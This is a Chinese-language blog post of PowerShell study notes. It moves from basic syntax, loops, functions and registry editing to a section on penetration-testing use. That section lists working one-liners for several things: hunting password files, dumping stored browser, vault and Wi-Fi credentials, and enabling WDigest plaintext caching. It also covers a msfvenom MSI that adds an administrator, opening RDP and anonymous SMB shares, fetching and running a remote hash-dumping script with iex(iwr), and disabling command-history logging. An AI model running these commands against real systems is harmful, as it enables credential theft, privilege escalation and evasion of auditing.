powershell的应用

powershell 应用

  • 执行powershell脚本需要先:
    1
    Set-ExecutionPolicy RemoteSigned
    1
    cmd /c powershell "Set-ExecutionPolicy RemoteSigned"
  • 写入到文件:
    1
    write-output "xxx" >> "C:\Users\Simba\Desktop\test5.txt"
  • 代替wmic:
    1
    Get-WmiObject -class win32_product | Select-Object -property name,version
  • 端口扫描:
    1
    134..136 | % {write-output ((new-object Net.Sockets.TcpClient).Connect("127.0.0.1",$_)) "Port $_ is open!" >> "C:\Users\Simba\Desktop\test5.txt"} 2>$null
  • 域内创建机器用户:
    1
    New-MachineAccount -MachineAccount testNew -Password $(ConvertTo-SecureString "123456789" -AsPlainText -Force)
  • 域内创建dns记录:
    1
    Invoke-DNSUpdate -DNSType A -DNSName testNew -DNSData 192.168.1.111

好了以下是正经学习

  • cmdlet

    ps创建的新的命令模式,调用为 动词+名词 的格式,比如:Get-Command , Get-Help

    Get-Command -Name 查看所有命令

    Get-Help 查看命令帮助

  • $? 获取命令执行是否成功

  • {} 包裹可执行的powershell脚本快,也可以用 $scriptblock = [ScriptBlock]::Create('xxx') 动态创建。

  • 别名

    内置命令一般拥有别名,可以使用Get-Help查看

  • 重定向输出

    可以使用 Out-File 或者 >

  • 运算符(比较,通配,包含替换,分割连接)

    1
    2
    3
    4
    5
    6
    -gt     大于
    -ge 大于等于
    -lt 小于
    -le 小于等于
    -eq 等于
    -ne 不等于

    -like-nolike 用于通配符(?*

    1
    2
    3
    4
    5
    PS D:\Desktop> 'hello','zhang3' -contains 'zhang3'
    True

    PS D:\Desktop> 'hello zhang3' -replace 'zhang3','yitian'
    hello yitian
    1
    2
    3
    4
    5
    6
    7
    PS D:\Desktop> 'A B C DE' -split ' '
    A
    B
    C
    DE
    PS D:\Desktop> 'A','B','C' -join ','
    A,B,C
  • 逻辑

    1
    2
    3
    4
    -and    与
    -or 或
    -xor 异或
    !/-not 非
  • -f 格式化字符串,等于python的 format

  • 判断

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    $condition = $true

    if ($condition -eq $true) {
    Write-Output "condition is $true"
    }
    elseif ($condition -ne $true ) {
    Write-Output "condition is $false"
    }
    else {
    Write-Output "other ocndition"
    }
  • 循环

    do:

    1
    2
    3
    4
    5
    $i = 0
    do {
    $i++
    Write-Output $i
    }while ($i -ne 3)

    while:

    1
    2
    3
    4
    5
    $i = 0
    while ($i -lt 3) {
    Write-Output $i
    $i++
    }

    for:

    1
    2
    3
    for ($i = 0; $i -ne 3; $i++) {
    Write-Output $i
    }

    foreach:

    1
    2
    3
    4
    $array = @(1, 2, 3, 4)
    foreach ($i in $array) {
    Write-Output $i
    }

    另一种用法:

    1
    <command> | foreach {<beginning command_block>}{<middle command_block>}{<ending command_block>}

    使用这种方法时,for-each后面可以跟三个语句块,第一个语句块是开始语句块,在循环前执行一次,常用来初始化一些数据;第三个是结束语句块,在循环结束之后执行一次,常用于统计一些循环数据;第二个就是正常的循环语句块,会循环多次。

    foreach-object:

    1
    2
    # 获取所有的服务,并获取对呀进程ID是否大于100
    Get-WmiObject Win32_Service | ForEach-Object {"Name:"+ $_.DisplayName, ", Is ProcessId more than 100:" + ($_.ProcessId -gt 100)}
  • 函数

    声明:

    1
    2
    3
    function Say-Hello ([string] $name) {
    Write-Output "Hello, $name"
    }

    调用:

    1
    Say-Hello -name 'yitian'
  • 异常处理

    1
    2
    3
    4
    5
    6
    Try{
    $connection.open()
    $success = $true
    }Catch{
    $success = $false
    }
  • 数组

    数组创建:

    1
    2
    3
    4
    5
    $array = 1,2,3,4
    $array = 1..4
    $array=1,"2017",([System.Guid]::NewGuid()),(get-date)
    $a=@() # 空数组
    $a=,"1" # 一个元素的数组

    数组访问:

    1
    2
    $ip = ipconfig
    $ip[1] # 获取ipconfig第二行的数据
  • 哈希表

    哈希表创建:

    1
    $stu=@{ Name = "test";Age="12";sex="man" }
    • 哈希表里可以存数组

      哈希表的加入与删除:

      1
      2
      3
      $Student=@{}
      $Student.Name="hahaha"
      $stu.Remove("Name")
  • 对象

    创建对象:

    • 使用 New-object 创建对象

      增加属性:

    • 使用 Add-Member 增加属性和方法

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      PS C:Powershell> Add-Member -InputObject $pocketknife -Name Color -Value "Red" -MemberType NoteProperty
      PS C:Powershell> $pocketknife

      Color
      -----
      Red

      PS C:Powershell> Add-Member -InputObject $pocketknife -Name Weight -Value "55"
      -MemberType NoteProperty
      PS C:Powershell> $pocketknife | Add-Member NoteProperty Blades 3
      PS C:Powershell> $pocketknife | Add-Member NoteProperty Manufacturer ABC
      PS C:Powershell> $pocketknife

      Color Weight Blades Manufacturer
      ----- ------ ------ ------------
      Red 55 3 ABC

      增加方法:

      Add-Member 中的 NoteProperty 改成 ScriptMethod

      1
      2
      3
      4
      5
      6
      7
      # 增加一个新方法:
      Add-Member -memberType ScriptMethod -In $pocketknife `
      -name cut -Value { "I'm whittling now" }
      # 指定参数类型增加一个新方法:
      Add-Member -in $pocketknife ScriptMethod screw { "Phew...it's in!" }
      #直接通过管道增加一个新方法:
      $pocketknife | Add-Member ScriptMethod corkscrew { "Pop! Cheers!" }
  • 执行脚本里的函数

    1
    Import-Module .script.ps1
  • cmd调用powershell

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    PowerShell[.exe]
    [-PSConsoleFile <file> | -Version <version>]
    [-EncodedCommand <Base64EncodedCommand>]
    [-ExecutionPolicy <ExecutionPolicy>]
    [-File <filePath> <args>]
    [-InputFormat {Text | XML}]
    [-NoExit]
    [-NoLogo]
    [-NonInteractive]
    [-NoProfile]
    [-OutputFormat {Text | XML}]
    [-Sta]
    [-WindowStyle <style>]
    [-Command { - | <script-block> [-args <arg-array>]
    | <string> [<CommandParameters>] } ]

    名称 | 解释

—|—
-Command | 需要执行的代码
-ExecutionPolicy | 设置默认的执行策略,一般使用Bypass
-EncodedCommand | 执行Base64代码
-File | 这是需要执行的脚本名
-NoExit|执行完成命令之后不会立即退出,比如我们执行powerhsell whoami 执行完成之后会推出我们的PS会话,如果我们加上这个参数,运行完之后还是会继续停留在PS的界面
-NoLogo | 不输出PS的Banner信息
-Noninteractive | 不开启交互式的会话
-NoProfile | 不使用当前用户使用的配置文件
-Sta | 以单线程模式启动ps
-Version | 设置用什么版本去执行代码
-WindowStyle | 设置Powershell的执行窗口,有下面的参数Normal, Minimized, Maximized, or Hidden


powershell执行策略

名称 说明
Restricted 受限制的,可以执行单个的命令,但是不能执行脚本Windows 8, Windows Server 2012, and Windows 8.1中默认就是这种策略,所以是不能执行脚本的,执行就会报错,那么如何才能执行呢?Set-ExecutionPolicy -ExecutionPolicy Bypass就是设置策略为Bypass这样就可以执行脚本了。
AllSigned AllSigned 执行策略允许执行所有具有数字签名的脚本
RemoteSigned 当执行从网络上下载的脚本时,需要脚本具有数字签名,否则不会运行这个脚本。如果是在本地创建的脚本则可以直接执行,不要求脚本具有数字签名。
Unrestricted 这是一种比较宽容的策略,允许运行未签名的脚本。对于从网络上下载的脚本,在运行前会进行安全性提示。需要你确认是否执行脚本
Bypass Bypass 执行策略对脚本的执行不设任何的限制,任何脚本都可以执行,并且不会有安全性提示。
Undefined Undefined 表示没有设置脚本策略。当然此时会发生继承或应用默认的脚本策略。

一些应用

  • 获取文件信息:

    1
    Get-Item .\Cmder.exe|Select-Object *
  • 文件过滤:

    1
    Get-ChildItem|Where-Object {$_ -match '\w*.md$' -and $_.Length/1kb -gt 5}

    Where-Object里面的$_是形式变量,代表每次迭代的文件。

  • 轮询进程

    1
    2
    3
    4
    5
    6
    7
    $process_name = 'svchost'
    while($true){
    $processes = Get-Process
    if($processes.name -contains $process_name)
    Get-Process $process_name|Stop-Process
    }

    或者 (Get-Process $process_name).kill() 关也一样

  • 编辑注册表

    下面这个路径是一个安全的注册表路径,在这里修改注册表不会造成严重的系统问题。所以我们把它保存为一个变量。

    1
    $path = "HKCU:\Control Panel\Desktop"

    如果要新建注册表项,可以使用New-Item命令。我们可以使用注册表编辑器regedit来验证项是否创建成功。

    1
    New-Item –Path $path –Name HelloKey

    如果要修改项的属性,使用Set-ItemProperty命令。

    1
    Set-ItemProperty -path $path\hellokey -name Fake -Value fuck

    最后,如果要删除项的属性,使用Remove-ItemProperty命令。

    1
    Remove-ItemProperty -path $path\hellokey -name Fake

    如果要删除整个注册表项,使用Remove-Item命令。

    1
    Remove-Item -path $path\hellokey -Recurse

    未完待续。。。


在渗透中的应用

敏感文件:

  • 识别敏感文件

    1
    gci c:\ -Include *pass*.txt,*pass*.xml,*pass*.ini,*pass*.xlsx,*cred*,*vnc*,*.config*,*accounts* -File -Recurse -EA SilentlyContinue
  • 从sysprep中或unattend中寻找文件

    1
    gci c:\ -Include *sysprep.inf,*sysprep.xml,*sysprep.txt,*unattended.xml,*unattend.xml,*unattend.txt -File -Recurse -EA SilentlyContinue
  • 寻找包含 “密码”字符 的配置文件

    1
    gci c:\ -Include *.txt,*.xml,*.config,*.conf,*.cfg,*.ini -File -Recurse -EA SilentlyContinue | Select-String -Pattern "password"
  • 在配置文件中查找数据库凭证(例如web.config)

    1
    gci c:\ -Include *.config,*.conf,*.xml -File -Recurse -EA SilentlyContinue | Select-String -Pattern "connectionString"
  • 找到web服务器配置文件

    1
    gci c:\ -Include web.config,applicationHost.config,php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -EA SilentlyContinue

    抓取凭证:

  • 从Windows PasswordVault获取存储的密码(web凭据)

    1
    [Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];(New-Object Windows.Security.Credentials.PasswordVault).RetrieveAll() | % { $_.RetrievePassword();$_ }

    image-20210106115024800

  • 从Windows凭据管理器获取存储的密码

    1
    Get-StoredCredential | % { write-host -NoNewLine $_.username; write-host -NoNewLine ":" ; $p = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($_.password) ; [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($p); }
  • 从Google Chrome浏览器中转储密码

    1
    [System.Text.Encoding]::UTF8.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($datarow.password_value,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))
  • 从无线配置文件获取存储的Wi-Fi密码(admin)

    1
    (netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)}  | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize
  • 在注册表中搜索SNMP字符串

    1
    gci HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse -EA SilentlyContinue
  • 在注册表中搜索字符串模式

    • 以下PowerShell命令将筛选选定的注册表配置单元(HKCR,HKCU,HKLM,HKU和HKCC),并在注册表项名称或数据值中递归搜索任何选定的模式。在这种情况下,我们正在搜索“密码”模式:
    1
    2
    3
    4
    5
    6
    7
    8
    $pattern = "password"
    $hives = "HKEY_CLASSES_ROOT","HKEY_CURRENT_USER","HKEY_LOCAL_MACHINE","HKEY_USERS","HKEY_CURRENT_CONFIG"

    # Search in registry keys
    foreach ($r in $hives) { gci "registry::${r}\" -rec -ea SilentlyContinue | sls "$pattern" }

    # Search in registry values
    foreach ($r in $hives) { gci "registry::${r}\" -rec -ea SilentlyContinue | % { if((gp $_.PsPath -ea SilentlyContinue) -match "$pattern") { $_.PsPath; $_ | out-string -stream | sls "$pattern" }}}

    提权

  • 搜索注册表以获取自动登录凭据(例如Credssp)

    1
    gp 'HKLM:\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon' | select "Default*"
  • 检查是否已启用AlwaysInstallElevated

    • 如果以下AlwaysInstallElevated注册表项设置为1,则意味着任何低特权用户都可以使用NT AUTHORITY \ SYSTEM特权安装* .msi文件.
    1
    2
    3
    4
    5
    gp 'HKCU:\Software\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated
    gp 'HKLM:\Software\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated

    # 可以使用msf生成msi安装包
    msfvenom -p windows/exec CMD='net localgroup administrators joe /add' -f msi > pkg.msi
  • 查找未用引号包含的服务路径

    1
    gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
  • 检查LSASS WDigest缓存(明文凭据)

    • 0位禁用,1为启用
    1
    2
    3
    4
    5
    # 查询
    (gp registry::HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest).UseLogonCredential

    # 启用(启用必须要重启才生效)
    sp registry::HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest -name UseLogonCredential -value 1
  • GPP

    1
    2
    3
    Push-Location \\example.com\sysvol
    gci * -Include *.xml,*.txt,*.bat,*.ps1,*.psm,*.psd -Recurse -EA SilentlyContinue | select-string password
    Pop-Location

    内部网络以及服务

  • 启用RDP

    1
    2
    3
    4
    5
    6
    7
    8
    # Allow RDP connections
    (Get-WmiObject -Class "Win32_TerminalServiceSetting" -Namespace root\cimv2\terminalservices).SetAllowTsConnections(1)

    # Disable NLA
    (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0)

    # Allow RDP on the firewall
    Get-NetFirewallRule -DisplayGroup "Remote Desktop" | Set-NetFirewallRule -Enabled True
  • 创建smb匿名共享

    1
    2
    3
    4
    5
    new-item "c:\users\public\share" -itemtype directory
    New-SmbShare -Name "sharedir" -Path "C:\users\public\share" -FullAccess "Everyone","Guests","Anonymous Logon"

    # 停用
    Remove-SmbShare -Name "sharedir" -Force
  • 将ip加入防火墙白名单

    1
    2
    3
    4
    New-NetFirewallRule -Action Allow -DisplayName "pentest" -RemoteAddress 10.10.15.123

    # 删除
    Remove-NetFirewallRule -DisplayName "pentest"

    其他

  • 无文件加载攻击模块

    1
    2
    3
    4
    iex(iwr("https://URL"))

    # e.g.
    iex(iwr("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1"));Get-PassHashes
  • 获取域内sid

    1
    ([System.Security.Principal.WindowsIdentity]::GetCurrent()).User.Value
  • 禁用PowerShell命令日志记录(很有用!!)

    • 默认情况下,PowerShell会自动在历史记录文件中记录多达4096个命令,就像Bash在Linux上一样。

      PowerShell历史记录文件是一个纯文本文件,位于每个用户的配置文件中的以下位置:

      • C:\ Users \ <用户名> \ AppData \ Roaming \ Microsoft \ Windows \ PowerShell \ PSReadline \ ConsoleHost_history.txt
    1
    2
    3
    4
    5
    Set-PSReadlineOption –HistorySaveStyle SaveNothing
    # or
    Remove-Module PSReadline

    # 注意:这条命令会在历史中记录
  • 列出AV

    1
    Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct

    image-20210106121645232


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!